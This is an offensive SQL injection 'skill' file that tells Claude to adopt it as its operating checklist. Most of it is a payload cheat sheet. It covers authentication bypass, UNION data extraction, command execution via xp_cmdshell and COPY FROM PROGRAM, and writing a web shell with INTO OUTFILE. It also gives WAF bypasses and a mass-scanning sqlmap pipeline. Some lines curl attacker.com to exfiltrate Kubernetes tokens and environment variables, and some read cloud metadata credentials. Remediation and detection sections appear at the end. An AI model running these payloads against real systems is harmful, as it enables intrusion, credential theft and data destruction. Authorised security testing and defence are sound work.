Offensive Sqli

SKILL: SQL Injection

Metadata

• Skill Name: sql-injection
• Folder: offensive-sqli
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/sql-injection.md

Description

SQL injection testing checklist: error-based, blind boolean/time-based, UNION-based, out-of-band, second-order SQLi, NoSQL injection, WAF bypass techniques, and SQLmap usage. Use for web app SQLi testing and bug bounty database injection discovery.

Trigger Phrases

Use this skill when the conversation involves any of: SQL injection, SQLi, error-based, blind SQLi, boolean SQLi, time-based SQLi, UNION injection, out-of-band, second-order SQLi, NoSQL injection, WAF bypass, sqlmap

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

Full Methodology

SQL Injection

Shortcut

• Map any of the application endpoints that takes in user input
• Insert test payload into these locations to discover whether they're vulnerable to SQL injections. if the input isn't vulnerable to classic SQL injections, try inferential techniques instead.
• Use different SQL injection queries to extract information from the database.
• Escalate the issue, try to expand your foothold.

Mechanisms

SQL Injection (SQLi) is a code injection technique that exploits vulnerabilities in applications that dynamically construct SQL queries using user-supplied input. When successful, attackers can:

• Bypass authentication
• Access sensitive data
• Modify database data
• Execute administrative operations
• Potentially achieve remote code execution

SQLi occurs when applications fail to properly validate, sanitize, or parameterize user input before incorporating it into SQL queries. The vulnerability exists in various forms:

Types of SQL Injection

• Error-based: Extract data by forcing the database to generate error messages containing sensitive information
• Union-based: Leverage the UNION operator to combine results from the original query with those from an injected query
• Boolean-based blind: Infer information by observing whether query results differ based on injected Boolean conditions
• Time-based blind: Deduce information by observing timing differences in responses when conditional time-delay functions are injected
• Out-of-band: Extract data through alternative communication channels (DNS, HTTP requests)
• Second-order: Occurs when user input is stored and later used unsafely in SQL queries
• Stored procedures: Targeting vulnerable database stored procedures
• JSON‑based: Abuse JSON operators/functions (->, ->>, JSON_EXTRACT, JSON_TABLE) to inject conditions or extract data where traditional syntax is filtered
• WebSocket-based: SQL injection through WebSocket message payloads
• REST API Filter/Sort: Injection via JSON filter and sort parameters that translate to SQL
• HTTP/2 Header Smuggling: Bypassing WAFs via header manipulation before SQL payload delivery

graph TD
    SQLi[SQL Injection Types] --> InBand[In-band SQLi]
    SQLi --> Blind[Inferential/Blind SQLi]
    SQLi --> OutOfBand[Out-of-band SQLi]

    InBand --> Error[Error-based]
    InBand --> Union[UNION-based]

    Blind --> Boolean[Boolean-based]
    Blind --> Time[Time-based]

    OutOfBand --> DNS[DNS Exfiltration]
    OutOfBand --> HTTP[HTTP Requests]

    style SQLi fill:#b7b,stroke:#333,color:#333
    style InBand fill:#afd,stroke:#333,color:#333
    style Blind fill:#9f9,stroke:#333,color:#333
    style OutOfBand fill:#f99,stroke:#333,color:#333

Database Targets

SQLi affects virtually all major database systems:

• MySQL/MariaDB
• Microsoft SQL Server
• PostgreSQL
• Oracle
• SQLite
• IBM DB2
• NoSQL databases (MongoDB, Cassandra, etc.)

Hunt

Recon Workflow

• Using Burpsuite:
  • Capture request in Burpsuite
  • Send to active scanner
  • Review SQL vulnerabilities detected
  • Manually verify findings
  • Use SQLMAP for deeper exploitation
• Using automation tools:
  • sublist3r -d target | tee -a domains
  • cat domains | httpx | tee -a alive
  • cat alive | waybackurls | tee -a urls
  • gf sqli urls >> sqli
  • sqlmap -m sqli --dbs --batch
• Hidden parameter discovery:
  • Gather URLs using hakrawler/waybackurls/gau
  • Use Arjun to scan for hidden parameters
  • Test discovered parameters for SQL injection

Identification Techniques

Parameter Testing

• Test all input vectors: URL parameters, form fields, cookies, HTTP headers
• Insert basic SQL syntax characters to provoke errors:

  ' " ; -- /* */ # ) ( + ,
  

• Test single and double quote placement in different contexts:

  ' OR '1'='1
  " OR "1"="1
  

• Use SQLi polyglots (work in multiple contexts):

  SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
  

Error-Based Detection

• Look for database error messages that reveal:
  • SQL syntax errors
  • Database type and version
  • Table/column names
  • Query structure
• Common error-triggering payloads:

  '
  ''
  `
  "
  ""
  ,
  %
  \
  

Blind Detection

• Boolean-based tests (observe differences in responses):

  ' OR 1=1 --
  ' OR 1=2 --
  ' AND 1=1 --
  ' AND 1=2 --
  

• Time-based tests (observe response timing):

  MySQL: ' OR SLEEP(5) --
  PostgreSQL: ' OR pg_sleep(5) --
  MSSQL: ' WAITFOR DELAY '0:0:5' --
  Oracle: '; BEGIN DBMS_LOCK.SLEEP(5); END; --
  

• JSON operator probes (MySQL/Postgres):

  # MySQL JSON
  id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
  # Postgres JSONB
  id=1 AND '{"a":1}'::jsonb ? 'a'
  

Advanced Testing Approaches

Mapping Database Structure

1. Determine database type:

   ' UNION SELECT @@version -- (MySQL/MSSQL)
   ' UNION SELECT version() -- (PostgreSQL)
   ' UNION SELECT banner FROM v$version -- (Oracle)
   

2. Enumerate tables:

   # MySQL/MSSQL
   ' UNION SELECT table_name,1 FROM information_schema.tables --
   
   # PostgreSQL
   ' UNION SELECT table_name,1 FROM information_schema.tables --
   
   # Oracle
   ' UNION SELECT table_name,1 FROM all_tables --
   

3. Enumerate columns:

   # MySQL/MSSQL/PostgreSQL
   ' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
   
   # Oracle
   ' UNION SELECT column_name,1 FROM all_tab_columns WHERE table_name='USERS' --
   

4. GraphQL → SQLi pivot

# Try introspection disabled? Send crafted filter/order inputs
{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}

5. WebSocket SQLi detection

// Connect to WebSocket endpoint
const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test' OR 1=1--"}');
// Observe response for SQL errors or data leakage

6. REST API Filter Injection

// Modern APIs often accept complex filters
POST /api/users/search
{
  "filter": {
    "name": {"$regex": "admin' OR 1=1--"},
    "status": "active"
  },
  "sort": "name'; DROP TABLE users--"
}

7. ORM/Query Builder pitfalls (examples)

// Sequelize (Node): avoid string concatenation; use replacements/bind
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user }, type: QueryTypes.SELECT })

// Prisma (Node): prefer parameterized $queryRaw vs $executeRawUnsafe
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`

// Knex
knex('users').whereRaw('name = ?', [user])

Bypass Techniques

WAF Bypass

• Case variation: SeLeCt, UnIoN
• Comment injection: UN/**/ION SE/**/LECT
• Alternate encodings:
  • URL encoding: UNION → %55%4E%49%4F%4E
  • Hex encoding: SELECT → 0x53454C454354
  • Unicode encoding
• Whitespace manipulation: UNION/**/SELECT
• Numeric representations:
  • 1 → 1-0, 1+0, CHAR(49)
• String concatenation:
  • MySQL: CONCAT('a','b')
  • Oracle: 'a'||'b'
  • MSSQL: 'a'+'b'
• Null byte injection:

  %00' UNION SELECT password FROM Users WHERE username='xyz'--
  

• Double encoding:

  First pass: / → %2f
  Second pass: %2f → %252f
  

• Using SQLMAP tamper scripts:
  • Use Atlas tool for suggesting tamper scripts
  • Try multiple tamper scripts in combination
  • Customize tamper scripts for specific WAFs
• JSON operator wrapper: Prefix payload with dummy JSON (/**/{"a":1}) so that WAFs parse request as JSON and miss the subsequent SQL keywords
• HTTP/2 request smuggling and path normalization can sometimes bypass perimeter WAFs; replay payloads over different schemes (h2/h2c) and proxies

Vulnerabilities

Common SQL Injection Points

Direct Query Manipulation

• Login Bypass:

  username=' OR 1=1 --
  

• Data Extraction:

  ' UNION SELECT username,password FROM users --
  

• Blind Data Extraction:

  ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a
  

Indirect Query Vulnerabilities

• Second-Order Injection: Input is sanitized during initial storage but used unsafely in subsequent queries
• ORM-Layer Injection: Vulnerabilities in the Object-Relational Mapping layer
• Dynamic Query Construction: Queries built by concatenating strings with user input
• Insufficient Input Sanitization: Improper filtering of special characters
• Query Format String Vulnerabilities: Using string formatting functions to construct queries
• GraphQL Injection: Resolver strings constructed unsafely from GraphQL arguments leading to backend SQL execution
• WebSocket Parameter Injection: Real-time communication channels passing unvalidated data to SQL queries
• Cloud Function/Serverless Injection: Lambda/Cloud Function SQL queries with improper input validation

Database-Specific Vulnerabilities

MySQL/MariaDB

• Information Leakage:

  ' UNION SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema' --
  

• File Access:

  ' UNION SELECT LOAD_FILE('/etc/passwd') --
  

• File Writing:

  ' UNION SELECT 'shell code' INTO OUTFILE '/var/www/html/shell.php' --
  

MSSQL

• Command Execution:

  '; EXEC xp_cmdshell 'net user' --
  

• Registry Access:

  '; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --
  

• Linked Servers Access:

  '; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
  

PostgreSQL

• File Access:

  ' UNION SELECT pg_read_file('/etc/passwd',0,1000) --
  

• Command Execution:

  '; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; --
  

• Container Escape (in Kubernetes/Docker environments):

  -- Exfiltrate service account tokens
  '; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
  
  -- Read container environment variables
  '; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?data=$(env|base64)'; --
  

Oracle

• Privilege Escalation:

  ' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --
  

• PL/SQL Execution:

  ' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --
  

NoSQL Injection

• MongoDB Operators:

  username[$ne]=admin&password[$ne]=
  username[$regex]=^adm&password[$regex]=^pass
  

• Operator Injection:

  {"$where": "sleep(5000)"}
  {"username": {"$in": ["admin"]}}
  

Graph Databases (Neo4j/Cypher)

• Cypher Injection Example

  MATCH (u:User) WHERE u.name = 'admin' RETURN u
  

  can be abused with admin' OR 1=1 //-- to bypass conditions.
• CVE‑2024‑34517: Older Neo4j 5.x allowed privilege escalation via IMMUTABLE procedures; ensure your target is ≥ 5.18 or 4.4.26.

Chaining and Escalation

Cloud-Specific SQL Injection

Serverless/Lambda Environments

• Connection Pool Poisoning:

  // Lambda functions reusing database connections
  // Attacker can poison connection state
  exports.handler = async (event) => {
    // Vulnerable: SET ROLE is persistent across invocations
    await db.query(`SET ROLE '${event.role}'`);
    return await db.query("SELECT * FROM sensitive_data");
  };
  

• AWS RDS Proxy Bypass:

  -- Bypass RDS Proxy connection limits
  '; CALL mysql.rds_kill(CONNECTION_ID()); --
  

• Azure SQL Managed Instance:

  -- Exploit managed instance features
  '; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
  '; EXEC xp_cmdshell 'az vm list'; --
  

• GCP Cloud SQL:

  -- Access Cloud SQL metadata
  ' UNION SELECT @@global.version_comment, @@hostname --
  

Cloud Metadata Access via SQLi

• AWS IMDSv2 (requires token, harder via SQLi):

  -- Older IMDSv1 still works in legacy environments
  ' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --
  

• Azure Instance Metadata:

  ' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
  

Supply Chain & Dependency Risks

ORM CVE Tracking (2024-2025)

• Sequelize CVE-2023-22578: SQL injection in JSON queries

  // Vulnerable pattern
  User.findAll({
    where: sequelize.literal(`name = '${userInput}'`),
  });
  

• TypeORM < 0.3.12: findOne vulnerable to injection

  // Vulnerable
  repository.findOne({ where: `id = ${id}` });
  

• Hibernate 6.x: Query cache poisoning

  // Unsafe HQL construction
  session.createQuery("FROM User WHERE name = '" + input + "'");
  

• Prisma < 4.11: Raw query vulnerabilities

  // Vulnerable
  await prisma.$executeRawUnsafe(`SELECT * FROM users WHERE id = ${id}`);
  

CI/CD Pipeline SQLi

• Database migration scripts with unvalidated variables
• Terraform/Pulumi infrastructure code generating SQL
• GitHub Actions workflows with SQL execution steps

Methodologies

Tools

Automated SQLi Detection & Exploitation

• SQLmap 1.8+: Now detects JSON‑based, GraphQL, and WebSocket SQLi automatically, plus smarter tamper chaining
• GraphQLmap: CLI tool for fuzzing and exploiting GraphQL resolver injections
• NoSQLMap: NoSQL database testing
• Burp Suite Professional: Enhanced SQL injection scanner with ML-based detection
• Ghauri: Advanced blind SQL injection tool (faster than SQLmap for time-based)
• SQLiScanner: Automated CI/CD integration for SQLi testing

Manual Testing Tools

• Burp Suite: Request manipulation and testing
• OWASP ZAP: Traffic interception and testing
• FuzzDB/SecLists: Attack payload collections
• Havij: Automated SQL injection tool with GUI
• wscat: WebSocket testing for SQLi in real-time connections
• Postman/Insomnia: API endpoint testing with GraphQL support

Testing Methodology

Reconnaissance Phase

1. Identify Entry Points:

   • Map all user input parameters
   • Check HTTP POST/GET parameters
   • Examine cookies and HTTP headers
   • Review hidden form fields
   • Analyze API endpoints

2. Determine Database Type:

   • Observe error messages
   • Test database-specific syntax
   • Check HTTP headers and response patterns

Exploitation Phase

1. Initial Testing:

   # Test for errors
   parameter=test'
   parameter=test"
   parameter=test`
   
   # Boolean tests
   parameter=test' OR '1'='1
   parameter=test' AND '1'='2
   
   # UNION tests
   parameter=test' UNION SELECT 1-- -
   parameter=test' UNION SELECT 1,2-- -
   parameter=test' UNION SELECT 1,2,3-- -
   

2. UNION Attack Technique:

   # Find the number of columns
   ' UNION SELECT NULL-- -
   ' UNION SELECT NULL,NULL-- -
   ' UNION SELECT NULL,NULL,NULL-- -
   
   # Identify string columns
   ' UNION SELECT 'a',NULL,NULL-- -
   ' UNION SELECT NULL,'a',NULL-- -
   ' UNION SELECT NULL,NULL,'a'-- -
   
   # Extract data
   ' UNION SELECT username,password,NULL FROM users-- -
   

3. Blind SQLi Exploitation:

   # Boolean-based
   ' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -
   
   # Time-based
   ' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -
   

4. Database Enumeration:

   • Determine database version
   • Extract table names
   • Extract column names
   • Extract data

5. Privilege Escalation:

   • Identify database user permissions
   • Access sensitive tables
   • Attempt file system access
   • Try command execution

Cheatsheets by Database

MySQL

# Version
SELECT @@version

# Comments
-- Comment
# Comment
/*Comment*/

# String Concatenation
CONCAT('a','b')

# Substring
SUBSTRING('abc',1,1)

# Conditional
IF(1=1,'true','false')

# Time Delay
SLEEP(5)

# Data Sources
information_schema.tables
information_schema.columns

MSSQL

# Version
SELECT @@version

# Comments
-- Comment
/*Comment*/

# String Concatenation
'a'+'b'

# Substring
SUBSTRING('abc',1,1)

# Conditional
CASE WHEN 1=1 THEN 'true' ELSE 'false' END

# Time Delay
WAITFOR DELAY '0:0:5'

# Data Sources
information_schema.tables
information_schema.columns
sys.tables
sys.columns

Oracle

# Version
SELECT banner FROM v$version

# Comments
-- Comment
/*Comment*/

# String Concatenation
'a'||'b'

# Substring
SUBSTR('abc',1,1)

# Conditional
CASE WHEN 1=1 THEN 'true' ELSE 'false' END

# Time Delay
DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)

# Data Sources
all_tables
all_tab_columns

PostgreSQL

# Version
SELECT version()

# Comments
-- Comment
/*Comment*/

# String Concatenation
'a'||'b'

# Substring
SUBSTRING('abc',1,1)

# Conditional
CASE WHEN 1=1 THEN 'true' ELSE 'false' END

# Time Delay
pg_sleep(5)

# Data Sources
information_schema.tables
information_schema.columns

Remediation Recommendations

• Prepared Statements/Parameterized Queries:

  // Unsafe
  String query = "SELECT * FROM users WHERE username = '" + username + "'";
  
  // Safe (Java PreparedStatement)
  PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
  stmt.setString(1, username);
  

• PHP PDO note: When using PDO you must disable emulated prepares,Otherwise parameters are substituted client‑side and JSON operators can still be injectable.

  $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  

• ORM Frameworks: Use secure ORM frameworks with proper parameter binding

• Input Validation: Server-side validation with strong type checking

• Stored Procedures: Use properly coded stored procedures

• Least Privilege: Restrict database account permissions

• WAF Implementation: Deploy a web application firewall

• Error Handling: Prevent detailed error messages from being displayed to users

• Database Activity Monitoring (DAM): Track and alert on suspicious database activity

  • Tools: Imperva DAM, IBM Guardium, Oracle Audit Vault
  • Cloud-native: AWS RDS Enhanced Monitoring, Azure SQL Auditing, GCP Cloud SQL Insights

• Runtime Application Self-Protection (RASP): Detect and block SQLi at runtime

  • Tools: Contrast Security, Sqreen (Datadog), Hdiv Security

• ML-based WAF: Modern WAF with machine learning detection

  • Cloudflare WAF (ML rules)
  • AWS WAF Fraud Control Account Takeover Prevention
  • Signal Sciences (Fastly)

• Row-Level Security (RLS): Enforce per-tenant/user data access in the database layer

• Outbound controls: Block DB servers from making outbound DNS/HTTP to limit OOB exfiltration

  • Implement egress filtering in security groups/firewalls
  • Use private subnets for database instances

• Strong typed parameters: For JSON/ARRAY params ensure explicit casts (e.g., $1::jsonb) to avoid operator confusion

• API Gateway Schema Validation: Enforce strict input validation at gateway level

  • AWS API Gateway Request Validators
  • Kong Request Validator plugin
  • Apigee JSON Threat Protection

• Query Monitoring & Anomaly Detection:

  # Example: Monitor for suspicious patterns
  if re.search(r"(UNION|SELECT|INSERT|UPDATE|DELETE).*--", query, re.IGNORECASE):
      alert_security_team()
      block_request()
  

• Container Security Context: For containerized databases

  # Kubernetes: Restrict service account access
  automountServiceAccountToken: false
  securityContext:
    readOnlyRootFilesystem: true
    runAsNonRoot: true
  

Detection & Monitoring

SIEM/Log Analysis Queries

Splunk:

index=web sourcetype=access_combined
| regex _raw="(%27)|(')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(')|(\\-\\-)|(\\%3D))"
| eval suspected_sqli=if(match(_raw, "(?i)(union|select|insert|update|delete|drop|create|alter|exec|execute)"), "high", "low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status

ELK/OpenSearch:

{
  "query": {
    "bool": {
      "should": [
        {
          "regexp": { "request.uri": ".*(union|select|insert|update|delete).*" }
        },
        { "match": { "request.body": "' OR 1=1" } }
      ]
    }
  }
}

CloudWatch Insights (AWS RDS):

fields @timestamp, @message
| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
| filter @message like /(%27|'|--|\\/\\*)/
| stats count() by bin(5m)

HTTP/2 & HTTP/3 Considerations

• HPACK/QPACK Header Compression: May alter detection patterns

  # HTTP/2 header compression can obfuscate payloads
  :path: /api/user?id=1%20UNION%20SELECT
  # Appears different after decompression
  

• Request Smuggling to SQLi:

  POST /api/user HTTP/2
  Content-Length: 100
  Transfer-Encoding: chunked
  
  0
  
  POST /api/admin HTTP/1.1
  Content-Length: 50
  
  id=1' OR '1'='1
  

• HTTP/3 QUIC Protocol: Test SQLi over different protocols

  # Use curl with HTTP/3 support
  curl --http3 "https://target.com/api?id=1' UNION SELECT--"
  

Compliance & Regulatory Context

• PCI DSS 4.0: Requirement 6.2.4 mandates protection against injection attacks
• OWASP ASVS 4.0: V5.3.4 requires parameterized queries or stored procedures
• ISO 27001:2022: A.8.22 web filtering control
• NIST 800-53: SI-10 Information Input Validation
• SOC 2 Type II: Common Criteria CC6.1 (Logical Access Controls)

Threat Intelligence Integration

• CISA KEV Catalog: Monitor for actively exploited SQL injection CVEs
• MITRE ATT&CK: T1190 (Exploit Public-Facing Application)
• exploit-db.com: Track recent SQLi PoC releases
• GitHub Security Advisories: Monitor ORM/framework CVEs

  # Automated monitoring
  gh api /advisories --jq '.[] | select(.summary | contains("SQL injection"))'